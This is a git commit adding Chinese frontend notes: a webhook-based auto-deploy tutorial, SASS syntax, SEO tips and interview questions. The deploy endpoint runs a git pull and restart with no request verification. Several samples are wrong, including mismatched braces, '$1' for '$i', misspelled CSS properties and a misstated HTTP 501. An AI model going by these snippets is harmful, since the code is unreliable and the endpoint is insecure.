新功能(docs): 新增文章
This commit is contained in:
parent
5c5348e37e
commit
f659605fb1
158
docs/fea/CI.md
Normal file
158
docs/fea/CI.md
Normal file
@ -0,0 +1,158 @@
|
||||
---
|
||||
nav:
|
||||
title: 前端
|
||||
path: /fea
|
||||
group:
|
||||
title: 💊 CI持续集成
|
||||
order: 9
|
||||
path: /ci
|
||||
---
|
||||
|
||||
# 💊 CI持续集成
|
||||
|
||||
前后端分离的概念现在已经应用的比较广了,它使我们的工作更加的高效,也提升了后期代码的可维护性,减少人力成本。
|
||||
|
||||
|
||||
近年来 nodeJS 的出现,更让 js 提升到了一个新的高度,同时衍生出了很多。grunt、gulp、webpack、parcel这些工具都是建立在 node 的基础上实现的,它们极大的提升了我们的开发的效率。
|
||||
|
||||
|
||||
在一个公司,开发一般会分为几个阶段:
|
||||
|
||||
> 开发 -> 开发部署 -> 开发测试 -> 测试部署 -> 测试测试 -> 预发布部署 -> 预发布测试 -> 正式上线
|
||||
> 基本上每次测试之前,我们都有一个部署阶段,而部署阶段,往往都依赖运维。那么问题来了,有没有一种简洁高效的方案,让我们从运维那个层面脱离出来,实现开发到上线,或者是开发至预上线的自动部署?答案是肯定的,在 node 的帮助下,这次我们可以装这波逼...
|
||||
|
||||
## 实现思路
|
||||
|
||||
通过 push git 上的代码,webhooks 向你的 ECS 发送请求,ECS 接收到请求后,重新拉取 git 上的最新数据,实现自动部署。
|
||||
|
||||
## 开发准备
|
||||
|
||||
- ECS (centOS 7.2 64位)
|
||||
- GitHub 账号
|
||||
- node 基本知识
|
||||
- pm2、git
|
||||
|
||||
## 实现步骤
|
||||
|
||||
以叮叮消息推送举例:
|
||||
|
||||
### 第一步
|
||||
|
||||
|
||||
首先,需要有一个服务器来模拟场景,如果是新手,建议新建一个账号,不要直接在 root 权限下运行。然后在服务器上安装:git、pm2 和 node。新建一个项目文件夹,npm 初始化后,在里面创建 app.js 文件,内容如下:
|
||||
|
||||
|
||||
```javascript
|
||||
var express = require('express')
|
||||
var app = express()
|
||||
var bodyParser = require('body-parser')
|
||||
var path = require('path')
|
||||
var { exec } = require('child_process')
|
||||
// var fetch = require('node-fetch')
|
||||
|
||||
const PORT = 3008
|
||||
|
||||
app.use(bodyParser.json())
|
||||
|
||||
app.post('/CI', (req, res, next) => {
|
||||
var project = 'travis_demo'
|
||||
let PATH = path.resolve(__dirname, '../' + project)
|
||||
|
||||
var cmd = `cd ${PATH} && git reset --hard && git pull && pm2 restart ${project}`
|
||||
|
||||
// 将你想要运行的命令行代码输出运行
|
||||
exec(cmd, (err, stdout, stderr) => {
|
||||
if (err) {
|
||||
res.writeHead(500)
|
||||
res.end('Server Internal Error.')
|
||||
throw err
|
||||
}
|
||||
console.log(`stdout: ${stdout}`);
|
||||
console.log(`stderr: ${stderr}`);
|
||||
res.writeHead(200)
|
||||
res.end('this is good~')
|
||||
})
|
||||
})
|
||||
|
||||
app.listen(PORT, () => {
|
||||
console.log('this app is running at port:' + PORT)
|
||||
})
|
||||
```
|
||||
|
||||
|
||||
### 第二步
|
||||
|
||||
|
||||
给云主机添加 ssh ,具体教程百度,我博客里面也有,好了之后将上面的接口暴露给你想自动部署的项目,位置在该项目下 setting 选项下的 Webhooks,你可以设置它在什么场景下才会调用这个接口。
|
||||

|
||||
|
||||
|
||||
### 第三步
|
||||
|
||||
|
||||
将这个项目通过 git clone 拉取到 ECS,安装依赖后,在项目根目录新建一个 bash 脚本(建议以该项目的文件夹名称命名),然后用 pm2 将该项目通过 pm2 start bash.sh 跑起来。
|
||||
|
||||
|
||||
### 第四步
|
||||
|
||||
|
||||
到了这一步,基本上已经 OK 了~
|
||||
|
||||
|
||||
> 但是!!!
|
||||
|
||||
|
||||
|
||||
这样逼格还是不够高,不能满足我们的需求。我们捋一捋,一般情况下,项目是否部署成功,需要有个消息推送通知,这样我们可以及时的知道该项目目前的状态。钉钉为我们提供了这个功能,它可以让我们接入自定义的 webhooks。接下来我们将 ECS 的接口内容修改为:
|
||||
|
||||
|
||||
```javascript
|
||||
app.post('/CI', (req, res, next) => {
|
||||
var project = 'travis_demo'
|
||||
let PATH = path.resolve(__dirname, '../' + project)
|
||||
|
||||
var cmd = `cd ${PATH} && git reset --hard && git pull && pm2 restart ${project}`
|
||||
|
||||
// 将你想要运行的命令行代码输出运行
|
||||
exec(cmd, (err, stdout, stderr) => {
|
||||
if (err) {
|
||||
res.writeHead(500)
|
||||
res.end('Server Internal Error.')
|
||||
throw err
|
||||
}
|
||||
let mes = {
|
||||
"msgtype": "text",
|
||||
"text": {
|
||||
// 在钉钉上推送的自定义消息
|
||||
"content": `我就是我, @1825718XXXX 是不一样的烟火`
|
||||
}
|
||||
}
|
||||
}
|
||||
// access_token 是创建机器人的那个人才能看见
|
||||
fetch('https://oapi.dingtalk.com/robot/send?access_token=XXXXXXXXXXXXXXXXXXXXXXXXXXXXXX',
|
||||
{
|
||||
method: 'POST',
|
||||
headers: { 'Content-Type': 'application/json' },
|
||||
body: JSON.stringify(mes)
|
||||
}
|
||||
).then(response => response.json())
|
||||
.then(json => console.log(json));
|
||||
console.log(`stdout: ${stdout}`);
|
||||
console.log(`stderr: ${stderr}`);
|
||||
res.writeHead(200)
|
||||
res.end('this is good~')
|
||||
})
|
||||
})
|
||||
```
|
||||
|
||||
|
||||
现在就是见证奇迹的时刻,当你每次 push 代码到 git 的时候,ECS 会向钉钉推送消息,如下图所示:
|
||||
|
||||
|
||||

|
||||
|
||||
|
||||
## 总结
|
||||
|
||||
|
||||
这篇文章总结的内容还只是从一个中端的角度思考的,对目前这种实现的方法唯一担心的地方就是安全,毕竟一万个人有一万种想法,所以才需要更深入的学习将它的坑位全部填满,待到技术成熟之日,就是抢后端饭碗之时~
|
315
docs/fea/sass.md
Normal file
315
docs/fea/sass.md
Normal file
@ -0,0 +1,315 @@
|
||||
---
|
||||
nav:
|
||||
title: 前端
|
||||
path: /fea
|
||||
group:
|
||||
title: 💊 SASS语法
|
||||
order: 8
|
||||
path: /sass
|
||||
---
|
||||
|
||||
## 💊 SASS语法
|
||||
|
||||
### if 语句
|
||||
|
||||
```css
|
||||
@mixin blockOrHidden($boolean: true) {
|
||||
@if $boolean {
|
||||
@debug "$boolean is #{$boolean}";
|
||||
display: block;
|
||||
}
|
||||
@else {
|
||||
@debug "$boolean is #{$boolean}";
|
||||
display: none;
|
||||
}
|
||||
}
|
||||
|
||||
// 使用
|
||||
.block {
|
||||
@include blockOrHidden;
|
||||
}
|
||||
.hidden {
|
||||
@include blockOrHidden(false);
|
||||
}
|
||||
```
|
||||
|
||||
|
||||
### for 循环语句
|
||||
|
||||
|
||||
有以下两种形式
|
||||
|
||||
1. @for $i from <start> through <end>
|
||||
1. @for $i from <start> to <end>
|
||||
> 区别:2 的 <end> 不包括本身这个数
|
||||
|
||||
|
||||
|
||||
#### 简单例子
|
||||
```css
|
||||
@for $i from 1 through 10 {
|
||||
.item-#{$i} {
|
||||
width: 2em * $i;
|
||||
}
|
||||
}
|
||||
```
|
||||
#### 复杂例子
|
||||
```css
|
||||
$grid-prefix: span !default;
|
||||
$grid-width: 60px !default;
|
||||
$grid-gutter: 20px !default;
|
||||
|
||||
%grid {
|
||||
float: left;
|
||||
margin-left: $grid-gutter / 2;
|
||||
margin-right: $grid-gutter / 2;
|
||||
}
|
||||
|
||||
@for $i from 1 through 12 {
|
||||
.#{$grid-prefix}#{$i} {
|
||||
width: $grid-width * $1 + $grid-gutter * ($1 - 1);
|
||||
@extend %grid;
|
||||
}
|
||||
}
|
||||
```
|
||||
###
|
||||
### while 循环
|
||||
|
||||
|
||||
```css
|
||||
$types: 4;
|
||||
$type-width: 20px;
|
||||
|
||||
@while $types > 0 {
|
||||
.while-#{$types} {
|
||||
width: $type-width + $types;
|
||||
}
|
||||
$types: $types - 1;
|
||||
}
|
||||
```
|
||||
|
||||
|
||||
### each 语句
|
||||
|
||||
|
||||
```css
|
||||
$list: adam bob chris david eric;
|
||||
|
||||
@mixin author-images {
|
||||
@each $author in $list {
|
||||
.photo-#{$author} {
|
||||
background: url('/images/avatars/#{$author}.jpg') norepeat;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
.author-bio {
|
||||
@include author-images;
|
||||
}
|
||||
|
||||
```
|
||||
|
||||
|
||||
## 列表函数
|
||||
|
||||
|
||||
### length($list):返回长度
|
||||
> length() 函数中的列表参数之间使用空格隔开,不能使用逗号
|
||||
|
||||
```css
|
||||
length(5px 88px (border 66px solid) 4em (border 8em solid))
|
||||
```
|
||||
###
|
||||
### nth($list, $n)
|
||||
返回列表第几个值
|
||||
```css
|
||||
nth(1 2 3 4 5, 1) ----> 1
|
||||
```
|
||||
|
||||
|
||||
### join($list1, $list2, $separator)
|
||||
> space:空格、comma:逗号
|
||||
|
||||
```css
|
||||
join(1 2 3, 4 10 12, space)
|
||||
---> (1 2 3 4 10 12)
|
||||
```
|
||||
|
||||
|
||||
### append($list1, $list2, $separator)
|
||||
和 join 一样的效果
|
||||
|
||||
|
||||
### zip($list1,$list2,...)
|
||||
|
||||
|
||||
```css
|
||||
zip(solid dashed dotted, 1px 3px 6px, #000 #fff #eee);
|
||||
```
|
||||
##
|
||||
### index($list, $val)
|
||||
找到 list 中 val 的索引
|
||||
```css
|
||||
index(1px solid red, 1px)
|
||||
```
|
||||
|
||||
|
||||
### type-of()
|
||||
判断类型:number、string、bool
|
||||
### unitless()
|
||||
判断一个值是否带有单位
|
||||
### unit()
|
||||
获取一个值得单位
|
||||
### comparable()
|
||||
判断两个数是否可以加、减、合并
|
||||
### if($condition, $if-true, $if-false)
|
||||
三元运算符
|
||||
### map:数组
|
||||
```css
|
||||
$map: (
|
||||
$key1: $value1;
|
||||
$key2: $value2;
|
||||
)
|
||||
|
||||
$theme-color: (
|
||||
default: (
|
||||
bgcolor: #fff;
|
||||
text-color: #444;
|
||||
link-color: #39f;
|
||||
),
|
||||
primary: (
|
||||
bgcolor: #000;
|
||||
text-color: #fff;
|
||||
link-color: #93f;
|
||||
)
|
||||
)
|
||||
```
|
||||
|
||||
|
||||
#### map-get($map, $key)
|
||||
根据给定的 key,获取 map 中相关的值
|
||||
#### map-merge($map1, map2)
|
||||
合并两个map
|
||||
#### map-remove($map, $key)
|
||||
删除指定 key ,返回新map
|
||||
#### map-keys($map)
|
||||
返回 map 中所有 key 值
|
||||
#### map-values($map)
|
||||
返回 map 中所有 value 值
|
||||
#### map-has-key($map, $key)
|
||||
判断是否含有指定key值
|
||||
#### keywords($args)
|
||||
返回一个函数的参数
|
||||
|
||||
|
||||
## 字符串函数
|
||||
|
||||
|
||||
### unquote:删除引号
|
||||
> 只能删除最前和最后的引号
|
||||
|
||||
```css
|
||||
.test {
|
||||
content: unquote("im jsonskin");
|
||||
}
|
||||
```
|
||||
|
||||
|
||||
### quote:添加引号
|
||||
> 如果监测到有引号,不会重复添加
|
||||
|
||||
```css
|
||||
.test {
|
||||
content: quote(给我加个引号吧);
|
||||
}
|
||||
```
|
||||
|
||||
|
||||
### to-lower-case、to-upper-case
|
||||
|
||||
|
||||
```css
|
||||
.test {
|
||||
text: to-upper-case(aa-bb-cc);
|
||||
text: to-lower-case(AA-BB-Cc);
|
||||
}
|
||||
```
|
||||
###
|
||||
## 数字函数
|
||||
### percentage($val)
|
||||
将一个不带单位的数转换为百分比值;
|
||||
### round($val)
|
||||
四舍五入,取一个最接近的整数
|
||||
### ceil($val)
|
||||
将大于自己的小数换成下一位整数
|
||||
### floor($val)
|
||||
去除小数部分
|
||||
### abs($val)
|
||||
返回一个数的绝对值
|
||||
### max($numbers...)
|
||||
找出最大值
|
||||
> 比较的数,单位要相同
|
||||
|
||||
### min($numbers...)
|
||||
找出最小值
|
||||
> 比较的数,单位要相同
|
||||
|
||||
### random()
|
||||
获取随机数
|
||||
|
||||
|
||||
## 规则
|
||||
|
||||
|
||||
### @media
|
||||
```css
|
||||
@media screen ($condition: $val) {
|
||||
.side-bar {
|
||||
width: 100px;
|
||||
}
|
||||
}
|
||||
```
|
||||
### @extend
|
||||
会继承 父级元素的属性,并继承它的子属性
|
||||
```css
|
||||
.container {
|
||||
border: 1px solid #fff;
|
||||
width: 100%;
|
||||
height: 100%;
|
||||
}
|
||||
|
||||
.container:hover {
|
||||
color: #000;
|
||||
}
|
||||
|
||||
.main {
|
||||
@extend .main
|
||||
}
|
||||
```
|
||||
|
||||
|
||||
### @at-root
|
||||
跳出父级样式到根部
|
||||
```css
|
||||
.a {
|
||||
.b {
|
||||
.c {
|
||||
@at-root {
|
||||
color: red;
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
```
|
||||
|
||||
|
||||
### @debug
|
||||
调适使用
|
||||
> @debug 1px + 2px
|
||||
|
||||
### @warn
|
||||
> @warn "this is a warn: #{$val}"
|
||||
|
||||
### @error
|
||||
> @error "this is a error: #{$msg}"
|
||||
|
100
docs/fea/seo.md
Normal file
100
docs/fea/seo.md
Normal file
@ -0,0 +1,100 @@
|
||||
---
|
||||
nav:
|
||||
title: 前端
|
||||
path: /fea
|
||||
group:
|
||||
title: 💊 SEO
|
||||
order: 7
|
||||
path: /seo
|
||||
---
|
||||
|
||||
# 💊 SEO
|
||||
|
||||
## 介绍
|
||||
|
||||
seo 目的是为了让搜索引擎更好的收录站点,通过关键字、打开速度、文案优化都有利于 **网站的SEO**。
|
||||
|
||||
## 方法介绍
|
||||
|
||||
### 给网站添加site-map
|
||||
|
||||
类似一个地图导航,告诉搜索引擎你的网站路径,和网站重点内容,这块地方重点突出标题和路径,文件用sitemap.xml(baidusitemap.xml),这就是你的站点地图。
|
||||
|
||||
### 优化结构
|
||||
|
||||
seo搜索引擎优化认为,网站的最佳结构是**用户从首页点击三次就可以到达任何一个页面**
|
||||
|
||||
四层结构:sitename/year/mounth/day/title(不利于seo)
|
||||
|
||||
三层结构:sitename/y/m-d-title(良好)
|
||||
|
||||
两层结构:sitename/y-m-d-title(最佳)
|
||||
|
||||
### 标题优化
|
||||
|
||||
将HTML页面 title 改为 **{keywords} - { title }{ description }** 格式,有利于搜索引擎快速分类你的文章内容。
|
||||
> 注意:别堆砌关键字,整个标题一般不超过80个字符,可以通过chinaz的seo综合查询检查。
|
||||
|
||||
### 关键词与描述优化
|
||||
|
||||
```js
|
||||
<meta name="keywords" content="tag1,tag2,tag3..." />
|
||||
<meta name="description" content="${description}" />
|
||||
```
|
||||
|
||||
### nofollow 标签
|
||||
|
||||
给非友情链接的出站链接添加 “nofollow” 标签,nofollow标签是由谷歌领头创新的一个 “**反垃圾链接**” 的标签,并被百度、yahoo等各大搜索引擎广泛支持,引用nofollow标签的目的是:用于指示搜索引擎不要追踪(即抓取)网页上的带有nofollow属性的任何出站链接,以减少垃圾链接的分散网站权重。
|
||||
|
||||
```js
|
||||
<a class="theme-link" href="https://nicecoders.github.io" rel="external">
|
||||
// 改成
|
||||
<a class="theme-link" href="https://nicecoders.github.io" rel="external nofollow">
|
||||
```
|
||||
|
||||
### robots.txt文件
|
||||
|
||||
让机器人知道你的网站爬取的规则
|
||||
|
||||
```
|
||||
User-agent: *
|
||||
Allow: /
|
||||
Allow: /archives/
|
||||
Disallow: /vendors/
|
||||
Disallow: /categories/
|
||||
|
||||
|
||||
Sitemap: https://nicecoders.github.io/sitemap.xml
|
||||
Sitemap: https://nicecoders.github.io/baidusitemap.xml
|
||||
```
|
||||
|
||||
### 压缩文件
|
||||
|
||||
可以使用gulp,webpack等构建工具将文件压缩,理论上文件越小加载越快,权重会越高。
|
||||
|
||||
### 开启推送
|
||||
|
||||
将网站链接提交到百度,百度搜索引擎提交入口 ,然后验证你的网站,这一点网上有很详细的教程我就不复述了,验证确认你的网站后,继续验证你的网站的robots.txt和sitemap文件是否可用,一般都是可用的。
|
||||
|
||||
### 获取关键词
|
||||
|
||||
现在搜关键词全是广告,其实百度已经提供了一个接口,每次使用过百度搜索的时候下面的下拉条会出现一堆相关的关键词,这下关键词的权重是非常高的,采集这些关键词然后用在自己的文章中效果还可以,但是要记住不能堆砌关键词。
|
||||
|
||||
### H标签优化
|
||||
|
||||
H 标签的重要性可能是仅次与页面标签。H1->H6 的重要性依次降低。
|
||||
建议在H1-H2标签中混入关键字(H1全文只能出现一次)
|
||||
|
||||
### 图片 ALT 文字优化
|
||||
|
||||
插入图片的时候会提示输入文字,这个不能敷衍。图片 ALT 文字出现的关键词对页面相关性也有一定的影响。同样的,也不要在 ALT 上堆砌关键词。
|
||||
|
||||
### 内部链接及锚文字优化
|
||||
|
||||
内部链接对于爬虫和收录具有很重要的意义。内部链接对页面关键词相关性也有影响,最主要的就是在内部链接中使用锚文字。
|
||||
|
||||
锚文字是告诉搜索引擎被链接页面主题内容的最重要依据之一。我们有时候可能无法控制外部链接的锚文字,但是对于站内的内部链接锚文字我们可以控制。不过有几点需要注意:
|
||||
|
||||
* 适当出现匹配关键词的锚文字
|
||||
* 锚文字不能集中导航或者页尾,要分散在正文中
|
||||
* 不要过度优化锚文字,要不然有可能会被搜索引擎惩罚
|
116
docs/interview/compOrigin.md
Normal file
116
docs/interview/compOrigin.md
Normal file
@ -0,0 +1,116 @@
|
||||
---
|
||||
nav:
|
||||
title: 面试
|
||||
path: /interview
|
||||
group:
|
||||
title: 💊 面试题库
|
||||
order: 2
|
||||
---
|
||||
|
||||
# 计算机原理
|
||||
|
||||
|
||||
## 描述一下cookies,sessionStorage 和localStorage的区别?
|
||||
|
||||
|
||||
- cookie 在浏览器和服务器之间来回传递,SS和LS不会
|
||||
- SS和LS 的储存空间更大
|
||||
- SS和LS 有更多丰富易用的接口
|
||||
- SS和LS 是有各自的储存空间
|
||||
- LS 储存是永久性的,SS 关闭浏览器就没了
|
||||
|
||||
|
||||
|
||||
## 如何实现浏览器内多个标签之间的通信
|
||||
|
||||
|
||||
- 调用LS Cookies 等本地储存方式
|
||||
|
||||
|
||||
|
||||
## IE6 BUG 的解决办法
|
||||
|
||||
|
||||
- 双边距,float引起,使用display
|
||||
- 3像素问题,float引起, 使用display:inline-3px
|
||||
- 超链接 hover 点击失效, 注意顺序
|
||||
- 无法定义1px左右的宽度容器(使用overflow:hidden;zoom:0.08;line-height:1px)
|
||||
|
||||
|
||||
|
||||
## 你有哪些性能优化的方法
|
||||
|
||||
|
||||
- 减少http请求次数,css,js,html压缩,图片大小控制和压缩,网页cdn托管,data缓存,图片服务器
|
||||
- 前端模板 js + 数据,减少由于html导致的带宽浪费,减少请求次数,
|
||||
- 图片预加载,将样式表放在头部,脚本放在底部,加上时间戳
|
||||
- 用innerHTML代替dom操作,减少dom操作次数,优化js性能
|
||||
- 当需要设置的样式很多时,设置className而不是直接操作dom
|
||||
- 避免在页面的主体布局中使用table,table要在其中的内容完全下载完之后才会完全显示,显示div+css布局慢。普通网站有一个普遍的思路,就是尽量向前端化,减少数据库操作,减少磁盘IO,
|
||||
- 前端化:在不影响功能和体验的情况下,能在浏览器执行的不要在服务器执行,能在缓存服务器上直接返回的不要到应用服务器,程序能直接取到的结果不要到外部取,本机能取到的不要到远程取,内存能取到的不要到磁盘取,缓存中有的不要去数据库查询
|
||||
- 减少数据库操作指:减少更新次数,缓存结果减少查询次数,将数据库执行的操作尽可能的让你的操作完成,减少磁盘IO指尽量不适用文件系统作为缓存,减少读写文件次数等。
|
||||
- 程序优化永远要优化慢的部分
|
||||
|
||||
|
||||
|
||||
## http 状态码有哪些?分别代表啥意思?
|
||||
|
||||
|
||||
- 100-199 用于指定客户端相应的某些动作
|
||||
- 200-299 用于表示请求成功
|
||||
- 300-399 用于已经移动的文件并且常被包含在定位头信息中指定新的地址信息
|
||||
- 400-499 用于指出客户端的错误。
|
||||
|
||||
|
||||
|
||||
> 400: 语义有误 401:当前请求需要用户验证 403: 服务器已经理解请求,但是拒绝执行他 404:页面找不到
|
||||
|
||||
|
||||
|
||||
- 500-599 用于支持服务器错误。501 服务器不可用
|
||||
|
||||
|
||||
|
||||
## 一个页面从输入 url 到页面显示完成,中间发生了什么?
|
||||
|
||||
|
||||
- 查找浏览器缓存
|
||||
- DNS 解析,查找该域名对应的IP,重定向(301),发出第二个 get 请求
|
||||
- 进行HTTP 协议对话
|
||||
- 客户端发送报头
|
||||
- 文档开始下载
|
||||
- 文档树建立,根据标记请求所需指定mime类型的文件
|
||||
- 文件显示
|
||||
- 浏览器这边做的工作大致分为以下几步:
|
||||
|
||||
|
||||
|
||||
> 加载:根据请求的url进行域名解析,向服务器发起请求,接受文件(html,js,css,图像等)
|
||||
> 解析:对加载到的资源(html,js,css)进行语法解析,建议相应的内部数据结构(比如html的dom树,js的属性表,css的样式表规则等等)
|
||||
|
||||
## 浏览器的渲染原理
|
||||

|
||||
|
||||
1)浏览器会解析三个东西:
|
||||
|
||||
- 一个是HTML/SVG/XHTML,事实上,Webkit有三个C++的类对应这三类文档。解析这三种文件会产生一个DOM Tree。
|
||||
- CSS,解析CSS会产生CSS规则树。
|
||||
- Javascript,脚本,主要是通过DOM API和CSSOM API来操作DOM Tree和CSS Rule Tree.
|
||||
|
||||
2)解析完成后,浏览器引擎会通过DOM Tree 和 CSS Rule Tree 来构造 Rendering Tree。注意:
|
||||
|
||||
- Rendering Tree 渲染树并不等同于DOM树,因为一些像Header或display:none的东西就没必要放在渲染树中了。
|
||||
- CSS 的 Rule Tree主要是为了完成匹配并把CSS Rule附加上Rendering Tree上的每个Element。也就是DOM结点。也就是所谓的Frame。
|
||||
- 然后,计算每个Frame(也就是每个Element)的位置,这又叫layout和reflow过程。
|
||||
|
||||
3)最后通过调用操作系统Native GUI的API绘制。
|
||||
|
||||
|
||||
## 并发(concurrency)和并行(parallelism)区别
|
||||
异步和这小节的知识点其实并不是一个概念,但是这两个名词确实是很多人都常会混淆的知识点。其实混淆的原因可能只是两个名词在中文上的相似,在英文上来说完全是不同的单词。
|
||||
|
||||
|
||||
并发是宏观概念,我分别有任务 A 和任务 B,在一段时间内通过任务间的切换完成了这两个任务,这种情况就可以称之为并发。
|
||||
|
||||
|
||||
并行是微观概念,假设 CPU 中存在两个核心,那么我就可以同时完成任务 A、B。同时完成多个任务的情况就可以称之为并行。
|
251
docs/interview/css.md
Normal file
251
docs/interview/css.md
Normal file
@ -0,0 +1,251 @@
|
||||
---
|
||||
nav:
|
||||
title: 面试
|
||||
path: /interview
|
||||
group:
|
||||
title: 💊 面试题库
|
||||
order: 2
|
||||
---
|
||||
|
||||
## CSS
|
||||
|
||||
### 清除浮动
|
||||
|
||||
|
||||
- 使用clear
|
||||
- 使用overflow
|
||||
- 使用css的*:after
|
||||
|
||||
|
||||
|
||||
### 居中设置
|
||||
|
||||
|
||||
#### 1· 水平居中
|
||||
|
||||
|
||||
- flex布局
|
||||
|
||||
|
||||
|
||||
> 设置justify-content:center;
|
||||
|
||||
|
||||
|
||||
#### 2· 垂直居中
|
||||
|
||||
|
||||
- 多行文本(内联元素)
|
||||
|
||||
|
||||
|
||||
> a: 插入 table ,再设置vertical-align: middle;
|
||||
> b: 先设置display: table-cell;再设置vertical-align: middle;
|
||||
|
||||
|
||||
|
||||
### link 和 @import的区别
|
||||
|
||||
|
||||
- link除了加载css,还能用于定义RSS,定义rel链接属性,import只能引入css
|
||||
- 页面加载时,link同时加载,而@import引用的css会等到页面被加载完之后再加载
|
||||
- import 只在 ie5 以上被识别
|
||||
|
||||
|
||||
|
||||
### css 盒子模型
|
||||
|
||||
|
||||
- content,padding,margin,border
|
||||
|
||||
|
||||
|
||||
### css 选择符号
|
||||
|
||||
|
||||
- id选择器
|
||||
- 类选择器
|
||||
- 标签选择器
|
||||
- 相邻选择器 +
|
||||
- 子选择器 >
|
||||
- 后代选择器
|
||||
- 通配符选择器 *
|
||||
- 属性选择器 (a[rel = 'external'])
|
||||
- 伪类选择器 hover nth-child
|
||||
- 优先级
|
||||
|
||||
|
||||
|
||||
> !important > id > class > tag
|
||||
|
||||
### 列举不同的清除浮动的技巧
|
||||
```javascript
|
||||
/* 1.添加新元素 */
|
||||
<div class="outer">
|
||||
<div class="div1"></div>
|
||||
<div class="div2"></div>
|
||||
<div class="div3"></div>
|
||||
<div class="clearfix"></div>
|
||||
</div>
|
||||
.clearfix {
|
||||
clear: both;
|
||||
}
|
||||
|
||||
/* 2.为父元素增加样式 */
|
||||
.clearfix {
|
||||
overflow: auto;
|
||||
zoom: 1; // 处理兼容性
|
||||
}
|
||||
|
||||
/* 3.:after 伪元素方法 (作用于父元素) */
|
||||
.outer {
|
||||
zoom: 1;
|
||||
&:after {
|
||||
display: block;
|
||||
height: 0;
|
||||
clear: both;
|
||||
content: '.';
|
||||
visibillity: hidden;
|
||||
}
|
||||
}
|
||||
```
|
||||
|
||||
|
||||
### 一像素边框
|
||||
```javascript
|
||||
/* 定义 */
|
||||
@mixin border-1px ($color) {
|
||||
position: relative;
|
||||
&:after {
|
||||
display: block;
|
||||
position: absolute;
|
||||
left: 0;
|
||||
bottom: 0;
|
||||
width: 100%;
|
||||
border-top: 1px solid $color;
|
||||
context: '';
|
||||
}
|
||||
}
|
||||
|
||||
@media (-webkit-min-device-pixel-radio: 1.5), (min-device-pixel-radio: 1.5) {
|
||||
border-1px {
|
||||
&:after {
|
||||
-webkit-transform: scaleY(0.7);
|
||||
transform: scaleY(0.7);
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
@media (-webkit-min-device-pixel-radio: 2), (min-device-pixel-radio: 2) {
|
||||
border-1px {
|
||||
&:after {
|
||||
-webkit-transform: scaleY(0.5);
|
||||
transform: scaleY(0.5);
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
/* 使用方式 */
|
||||
@include border-1px(rgba(7, 17, 27, .1));
|
||||
```
|
||||
###
|
||||
### 形成**BFC**(Block Formatting Context)的几种方式
|
||||
```javascript
|
||||
float为 left|right
|
||||
overflow为 hidden|auto|scroll
|
||||
display为 table-cell|table-caption|inline-block
|
||||
position为 absolute|fixed
|
||||
```
|
||||
|
||||
|
||||
### 布局
|
||||
|
||||
|
||||
#### 圣杯布局:中间 padding、左右 margin
|
||||
```javascript
|
||||
body {
|
||||
min-width: 600px;
|
||||
}
|
||||
|
||||
.container {
|
||||
padding-left: 210px;
|
||||
padding-right: 190px;
|
||||
}
|
||||
|
||||
.main {
|
||||
float: left;
|
||||
width: 100%;
|
||||
height: 300px;
|
||||
background-color: rgba(255, 0, 0, .5);
|
||||
}
|
||||
|
||||
.sub {
|
||||
position: relative;
|
||||
left: -210px;
|
||||
float: left;
|
||||
width: 200px;
|
||||
height: 300px;
|
||||
margin-left: -100%;
|
||||
background-color: rgba(0, 255, 0, .5);
|
||||
}
|
||||
|
||||
.extra {
|
||||
position: relative;
|
||||
right: -190px;
|
||||
float: left;
|
||||
width: 180px;
|
||||
height: 300px;
|
||||
margin-left: -180px;
|
||||
background-color: rgba(0, 0, 255, 0.5);
|
||||
}
|
||||
```
|
||||
|
||||
|
||||
#### 双飞翼布局
|
||||
|
||||
|
||||
```html
|
||||
//html
|
||||
<body>
|
||||
<div class="main-wrapper">
|
||||
<div class="main"></div>
|
||||
</div>
|
||||
<div class="sub"></div>
|
||||
<div class="extra"></div>
|
||||
</body>
|
||||
|
||||
// css
|
||||
<style>
|
||||
.main-wrapper {
|
||||
float: left;
|
||||
width: 100%;
|
||||
}
|
||||
|
||||
.main {
|
||||
height: 300px;
|
||||
margin-left: 210px;
|
||||
margin-right: 190px;
|
||||
background-color: rgba(255, 0, 0, .5);
|
||||
}
|
||||
|
||||
.sub {
|
||||
float: left;
|
||||
width: 200px;
|
||||
height: 300px;
|
||||
margin-left: -100%;
|
||||
background-color: rgba(0, 255, 0, .5);
|
||||
}
|
||||
|
||||
.extra {
|
||||
float: left;
|
||||
width: 180px;
|
||||
height: 300px;
|
||||
margin-left: -180px;
|
||||
background-color: rgba(0, 0, 255, .5);
|
||||
}
|
||||
</style>
|
||||
```
|
||||
|
||||
|
||||
|
||||
|
33
docs/interview/facetoface.md
Normal file
33
docs/interview/facetoface.md
Normal file
@ -0,0 +1,33 @@
|
||||
---
|
||||
nav:
|
||||
title: 面试
|
||||
path: /interview
|
||||
group:
|
||||
title: 💊 面试题库
|
||||
order: 2
|
||||
---
|
||||
|
||||
# 面试技巧
|
||||
|
||||
## 如何粗略判断公司是否靠谱
|
||||
|
||||
然后我们还得了解一家公司的情况,这里我推荐使用「天眼查」去查询一家公司的信息。在这里我们可以查询到一家公司的几个重要指标
|
||||
具体的一个融资情况,一家公司好不好,拥有的资本肯定是重要的一块。一家不错的公司,往往前期融到的金额就很高
|
||||
核心团队的介绍,通过介绍我们可以了解到高管的一个教育背景,行业的经验等等
|
||||
公司涉及到了哪些司法、经营上的风险
|
||||
然后还可以在网上查询一下这家公司是否有拖欠工资等等负面的消息。
|
||||
|
||||
## 如何回答问题
|
||||
|
||||
尽量不要止步于问题,也就是面试官问什么你答什么,而是把回答的点发散出去,引导面试官提问,展示自己的水平。
|
||||
|
||||
很推荐大家在准备面试的过程中,挖掘出自己擅长的技术内容,然后在面试的过程中,寻找机会引导面试官提问你擅长的技术点。
|
||||
|
||||
## 谈钱
|
||||
|
||||
具体的工资(也就是合同上签订的工资),不要杂七杂八什么绩效加起来的那种
|
||||
五险一金缴纳的比例
|
||||
加班是否有加班工资或者调休
|
||||
是否是 996,我个人很不推荐 996 的公司
|
||||
加薪升职的情况
|
||||
其他各种福利,比如餐补、房补、交通补、节假日福利、另外的保险等等
|
656
docs/interview/javascript.md
Normal file
656
docs/interview/javascript.md
Normal file
@ -0,0 +1,656 @@
|
||||
---
|
||||
nav:
|
||||
title: 面试
|
||||
path: /interview
|
||||
group:
|
||||
title: 💊 面试题库
|
||||
order: 2
|
||||
---
|
||||
|
||||
## JavaScript
|
||||
|
||||
### `new` 操作符做了啥?
|
||||
```html
|
||||
